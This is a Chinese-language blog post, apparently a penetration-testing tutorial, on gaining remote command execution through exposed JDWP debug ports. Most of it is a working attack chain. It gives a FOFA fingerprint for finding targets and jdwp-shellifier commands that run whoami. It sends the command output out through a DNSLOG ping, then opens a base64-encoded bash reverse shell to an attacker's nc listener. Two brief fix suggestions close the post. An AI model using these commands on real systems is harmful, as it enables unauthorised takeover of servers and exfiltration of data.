前言

JDWP 是 Java Debug Wire Protocol 的缩写,它定义了调试器(debugger)和被调试的 Java 虚拟机(target vm)之间的通信协议。
JDWP就是JAVA的一个调试协议。本质上我们通过IDEA或者eclipse通过断点的方式调试JAVA应用时,使用的就是JDWP。因为是调试协议,不可能带有认证信息,那么对于一个开启了调试端口的JAVA应用,我们就可能利用JDWP进行调试,最终执行命令。在什么时候会使用到JDWP这种协议呢?比如你在线上跑了一个应用,但是这个问题只有在线上才会出现问题,那么这个时候就必须开启远程调试功能了,此时就有可能被攻击者利用RCE。

fofa指纹

banner=”jdwp” && port="8000"

漏洞证明

一般回返回如图的信息,但是亲测不返回的也是可以被利用的。

telnet xxx.xxx.xxx.xxx 8000

在这里插入图片描述

漏洞利用

python jdwp-shellifier.py -t xxx.xxx.xxx.xxx -p 8000 --break-on "java.lang.String.indexOf" --cmd "whoami"

漏洞利用脚本:
https://link.zhihu.com/?target=https%3A//github.com/IOActive/jdwp-shellifier
下方截图可以看到,命令执行成功,但是没因为没有回显,所以这里没有看到效果。
在这里插入图片描述
通过DNSLOG查看回显效果

python jdwp-shellifier.py -t xxx.xxx.xxx.xxx -p 8000 --break-on "java.lang.String.indexOf" --cmd "ping http://.`whoami`.yoww7w.dnslog.cn"

在这里插入图片描述
在这里插入图片描述

GETSHELL

远程执行:

python jdwp-shellifier.py -t xxx.xxx.xxx.xxx -p 8000 --break-on "java.lang.String.indexOf" --cmd "bash -c {echo,YmFzaCAtaSA+JiAvfrV2L3RjcC8xOTIgrth4LjE4NS42Lzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}"

对payload进行base64编码网站:

http://www.jackson-t.ca/runtime-exec-payloads.html

本地NC监听执行

nc -lvp 8888

在这里插入图片描述在这里插入图片描述

修复建议

1、关闭JDWP端口,或者JDWP端口不对公网开放
2、关闭Java的debug模式(开启该模式对服务器性能有影响)

关注我

欢迎各位朋友关注我,或者关注我的微信公众号:小白学IT

Logo

华为开发者空间,是为全球开发者打造的专属开发空间,汇聚了华为优质开发资源及工具,致力于让每一位开发者拥有一台云主机,基于华为根生态开发、创新。

更多推荐